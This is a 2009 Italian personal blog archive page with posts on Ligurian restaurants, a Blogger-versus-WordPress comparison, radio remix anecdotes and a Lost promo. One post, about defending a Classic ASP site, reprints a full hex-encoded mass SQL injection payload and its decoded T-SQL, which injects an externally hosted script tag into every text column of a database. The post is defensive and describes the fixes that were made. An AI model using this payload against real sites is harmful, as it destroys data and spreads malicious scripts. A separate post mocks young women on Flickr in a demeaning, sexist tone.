Il post originale è stato pubblicato sul mio blog dedicato allo sviluppo e alla programmazione, Develop Little Things
mercoledì 12 agosto 2009
martedì 11 agosto 2009
Fender® Toronado 98-03

venerdì 7 agosto 2009
Liguria e cibo, la mia "Top 5": Bakari
3) Bakari
Vico del fieno, 18 - Genova

Sono tanti anni che lo frequento e il menù presenta di tanto in tanto qualche piccola variazione, ma è tendenzialmente ancorato su alcuni piatti irrinunciabili (quelli citati per esempio): sto cercando di provare tutto, nelle mie frequentazioni, perchè non ho ancora trovato un piatto che non fosse nella peggiore delle ipotesi eccellente e nella migliore divino. Grande scelta di vini (alcuni, per altro, veramente splendidi) e strana e simpatica cortesia: una certa ironia in un atteggiamento molto sofisticato ed elegante.
Per quanto riguarda la mia top5: sono stato un discreto numero di ore a cercare di capire se il terzo posto gli stesse stretto e non meritasse almeno la piazza d'onore (dietro sua Maestà Bruxaboschi) oppure se la medaglia di bronzo sia un giudizio equo. Direi che il ristorante che lo precede nella mia classifica definitiva, Ö Vittorio, lo fa in virtù di una più ampia scelta di menù e questo, se vogliamo, è l'unico piccolissimo limite del nostro Bakari.
giovedì 6 agosto 2009
Impedire un attacco "SQL injection" con ASP Classico
In pratica trattasi di codice malizioso inserito con grande fantasia nel querystring chiamante (o nei cookies, o in una chiamata form) una determinata pagina di un sito. Che requisiti deve avere la pagina affinchè lo script abbia la possibilità di funzionare? Analizziamo la casistica querystring (le altre casistiche sono analoghe).
- la pagina deve avere un parametro passato via qs. Ad esempio: mypage.asp?id=123123.
- il programmatore che l'ha sviluppata deve essere un novellino
- colui che lancia l'attacco deve essere un discreto stronzone
In pratica inserendo la porzione di codice in coda alla chiamata della pagina (mypage.asp?id=123123;[script malizioso]) se il programmatore della domenica è un novellino e NON effettua il parsing dei parametri ma, al contrario e per pigrizia, si limita a utilizzarli direttamente nelle chiamate DB tale script finirà inevitabilmente dentro la query passata al db. Se esso è scritto bene (o, meglio, scritto da stronzi veri) si potranno fare inimmaginabili danni al db stesso.
Esempio chiarificatore:
Lo script (apposto come querystring) è qualcosa del genere:
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S)
Se esso viene eseguito all'interno di una chiamata DB in virtù dell'insipienza del programmatore che NON parsa i parametri, decodificando il comando CAST lo script eseguirà il seguente codice nel vostro DB:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''[script src="http://blablabla/0.js"][/script]
''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T varchar(255),@C
Come ben potete immaginare (per chi ha familiarità con SQL) esso andrà a scrivere la stringa '[script src="http://blablabla/0.js"][/script]'* all'interno dei campi testuale di tutte le tabelle del vostro db. In sè la stringa è inerte, di fatto vi polverizza il db perchè ogni valore diventerà più o meno inutilizzabile.
Ripristinato l'ultimo backup del DB e colmata la mia lacuna sugli attacchi Sql Injection ho adeguato il sito come segue:
- ho bannato dal mio webserver la famigerata sottorete da cui proveniva la chiamata (corrispondente al provider CHINANET della regione Chongqing, noto covo di proxy)
- ho introdotto in testa a tutte le pagine un filtro a tutte le chiamate querystring, cookie, form che altro non fa che individuare eventuali stringhe sintomo di potenziale attacco (DECLARE, EXEC, CAST) e ridirigendo il simpatico utente a una pagina dummy piuttosto incazzosa nel contenuto
- ho adeguato tutte le chiamate, facendo il parsing di ogni parametro che utilizzo (e, nella fattispecie, utilizzando solo parametri numerici imponendo la conversione a numero di qualunque parametro querystring, cookie, form e invalidando così qualunque testo che non sia un numero)
- ho introdotto un layer nel mio framework di chiamate a database che inibisce qualunque comando DECLARE e EXEC
In attesa che i più sprovveduti, come il sottoscritto, adeguino le proprie pagine (a volte può essere fastidioso perchè se avete centinaia di pagine con centinaia di chiamate che utilizzano centinaia di parametri non filtrati avrete un bel lavoro da compiere), vi lascio col link ad uno script intelligente (per utente IIS, asp) che, chiamato in testa ad ogni pagina, vi concederà il tempo per adeguare come si deve le vostre pagine:
http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx
martedì 4 agosto 2009
I miei Demix
Correva l'anno 2001 e, poco dopo aver messo a punto la mia tecnica demixatoria (successivamente trasformata in vero e proprio plug-in activeX grazie al valente contributo dello straordinario Enrico R. che ha materialmente scritto il codice), con lo stesso Enrico decidemmo di sperimentarla per il trassh-issimo concorso di Radio DeeJay "Do-Remix".
In pratica, essendo entrambi musicalmente un filino snob, decidemmo di dare in pasto al concorsone non già un remix tradizionale (pezzo famoso trasformato in "tunzi tunzi") ma un remix al contrario (il demix, appunto) prendendoci, per così dire, giuoco delle schiere di tabbozzi incollati alla radio: un bel pezzo tamarro "tunzi tunzi" trasformato in un genere tradizionale.
Il concorso era appena nato e ciò ci facilitò non poco, visto che il materiale che arrivava a radio DJ non era ancora molto, come ci disse lo stesso Molella al telefono, contattato per inviare la robba: tant'è che vincemmo due edizioni nel giro di 20 giorni senza minimamente passare per due burloni che sbertucciavano il programma medesimo (sul fatto che i simpaticoni di radio deejay non abbiano mai recapitato i premi legittimamente conquistati, questo è un vecchio discorso comune ai giochi a quiz radiofonici e non credo abbia a che fare con le nostre prese in giro: se non glielo smenazzi alla grande, nessuno ti regala mai niente).
I due remix che vi propongo sono la quintessenza di ciò che spopolava nelle discoteche a quei tempi: due pezzi di Gigi D'Agostino, stimato compositore del genere dell'epoca. Il primo, Bla bla bla, venne trasformato in pezzo ska e il secondo, Super con la tamarra partecipazione di Albertino, venne trasformato in pezzo surf nelle strofe principali e house stile anni ottanta nei ritornelli: ah, naturalmente, sempre per rafforzare l'idea di presa in giro, essendo un remix l'arte di ricomporre, come pezzi di un puzzle, della musica già suonata da qualcun'altro, noi ci preoccupammo, una volta isolate le voci, di suonare rigorosamente tutto con i cari e vecchi strumenti tradizionali (chitarre, bassi e quant'altro).
Nè il buon Molella (il dj addetto alla presentazione dei remix, nel programma pomeridiano condotto da Paoletta) nè altri si accorsero, però, che il tutto era stato suonato e, come sentirete dalle registrazioni, andarono discretamente in botta nel cercare di capire "da dove" provenissero i campioni utilizzati: con Enrico, ci spanciammo nelle cosidette grasse risate. Vi propongo entrambe le messe in onda del primo pezzo (compresa la conclamata vittoria) e solamente una versione per il secondo pezzo (ho smarrito la registrazione con la seconda storica vittoria).
http://rapidshare.com/files/263613113/Luned__15_Gennaio_2001_-_Radio_Deejay.mp3.html: Bla Bla Bla, versione Ska (prima andata in onda)
http://rapidshare.com/files/263613540/Luned__19_Gennaio_2001_-_Radio_Deejay.mp3.html: Bla Bla Bla, premiazione
http://rapidshare.com/files/263613832/Luned__5_Febbraio_2001_-_Radio_Deejay.mp3.html: Super, versione Surf-house (prima andata in onda)
p.s. ho utilizzato rapidshare, perchè l'amico blogger non mi da la possibilità di inserire media (come invece fa l'amico wordpress). Questo segna un punto decisivo a favore di wordpress, quindi aggiornerò il mio post-recensione delle due piattaforme.
Il mistero di Flickr e delle ragazze esibizioniste
Sono capitato per caso (e quando dico per caso, intendo proprio per caso) sul profilo di una simpatica decerebrata milanese (di cui taccio ovviamente il nome/nick) e sfogliando i suoi album sono rimasto allibito dalla vezzosità degenere che costei sfoggiava nel voler caparbiamente esibire: il proprio affettatissimo look diverso ad ogni foto, le proprie scarpe alla moda, il proprio decolté, il proprio bikini, le proprie fattezze, lo sbaciucchiamento del proprio ragazzo, seni vedo e non vedo, culi in penombra. Neanche fossero su qualche rivista glamour di fama internazionale! Ho pensato: ma pensa un po' che fanciulla esibizionista. Dopodichè incuriosito (anche perchè, diciamolo, non è che sia proprio un cofano!) mi sono intrattenuto nel leggere i sagaci commenti delle sue compari svitate che ad ogni sua performance si sdilinquivano in lodi sperticate: una manica di nanocefale snobbette (molto spesso in milano e dintorni) sui cui profili non manca il repertorio di cui sopra (bikini, sbaciucchiamenti, ammiccamenti vari, etc). E si commentano tra di loro con frasi tipo "ma che bella che sei!" o "bella posa, questa!" oppure ancora più smaccatamente "ti amoooooo ma che bella che sei!". Tutte donne. Uno dice: fanciulle più o meno discinte, commenti di maschi assatanati al grido di "ah bbona!", "facce vedè er culo!" e roba simile. Nulla di simile: solo altre fanciulle tutte innamorate tra loro in uno sconcertante intreccio pseudosaffico. Ovviamente si fanno una spietata guerra di popolarità e si blandiscono via commento in perfetto stile femminile "buon viso a cattivo gioco", ma resta lo sbigottimento. Le eccezioni maschili più rilevanti nei commenti sono i "gestori" o, come si autodefiniscono "webmasters", di qualche gruppo dal titolo più o meno folcloristico "bellezze italiane", "l'arte e la bellezza", "non c'è limite alla bellezza" e simili altre amenità. O tempora o mores!
sabato 1 agosto 2009
La più classica delle domande di un blogger: Blogger o Wordpress?
Parità
I template di layout sono molto più numerosi e belli in wordpress.
Wordpress
Entrambi hanno la possibilità di essere customizzati per bene, ma wordpress ti chiede soldi per le manovre più spinte sui css.
Blogger.
Entrambi hanno widgets (wordpress) o gadgets (blogger) ma forse quelli di wordpress sono più numerosi e gratificanti.
Wordpress
Wordpress ha le statistiche integrate. Blogger necessita di ulteriore iscrizione a google analytics (per altro molto facile). Le statistiche di wordpress sono ottime. Blogger, beh... qui parliamo di google quindi sono nettamente superiori.
Parità
Il post di blogger all'inizio sembra troppo scarno rispetto al sofisticato di wordpress, ma alla lunga paga: si fanno post in quattro e quattr'otto.
Blogger
Zio google ci informa che le pagine su blogger (site:blogspot.com) sono la bellezza di 310 milioni (per yahoo 236 milioni) mentre quelle su wordpress "solo" 112 milioni (per yahoo 75 milioni).
Blogger
Il vincitore è: blogger (4-3)
Aggiornamento, 4 Agosto 2009: Wordpress permette l'upload gratuito di grosse quantità di dati (oltre a immagini e video anche mp3, pdf, doc e in pratica qualunque documento condivisibile). Blogger no.
Wordpress
Il nuovo risultato vede entrambe le piattaforme a quota 4, quindi è Parità
Aggiornamento, 4 Agosto 2009: in blogger i commenti sono basati sul feed RSS e hanno una velocità di refresh a dir poco pachidermica. In wordpress essi sono mostrati in tempo reale dal db.
Wordpress
Il nuovo vincitore è Wordpress
Liguria e cibo, la mia "Top 5": Da Ö Vittorio
2) Da Ö Vittorio
Via Roma 160 - Recco
Vittorio è in seconda posizione nella mia personalissima "top5" solo perchè il primo posto era già occupato dal grande bruxaboschi. Ma se per caso volete esplorare la tradizione più marinara della cucina ligure e siete anche in cerca della famosa focaccia con il formaggio di Recco, ecco: è proprio qui che dovete venire. La focaccia con il formaggio di Recco è un ingegnoso piatto monumento al concetto "creare un capolavoro con ingredienti poveri", come del resto spesso accade nella cucina tradizionale. Si tratta di due sottilissimi strati di pasta non lievitata (farina e olio di oliva) farciti con lo stracchino; la cottura avviene in forno a legna. Tutto qui. Se è vero che in liguria la si può trovare un po' ovunque, da "Ö Vittorio" la potete trovare al massimo del suo splendore: descriverla non le rende giustizia, provatela! Tra le specialità di "Ö Vittorio" svettano i primi di pasta fatta in casa (trofiette al pesto da urlo e pansotti al sugo di noci da svenire per citare i cavalli di battaglia) e il pesce, sempre freschissimo e di primissima scelta. Il posto è magnifico, il servizio è ineccepibile.
Nella prossima puntata della saga, ecco a voi qualcosa di completamente differente: l'originalissimo Bakari, nel centro di Genova.
Lost: promo 6 stagione
Fonte: youtube
Grazie a www.lost-indizi.org per il suo ritrovamento.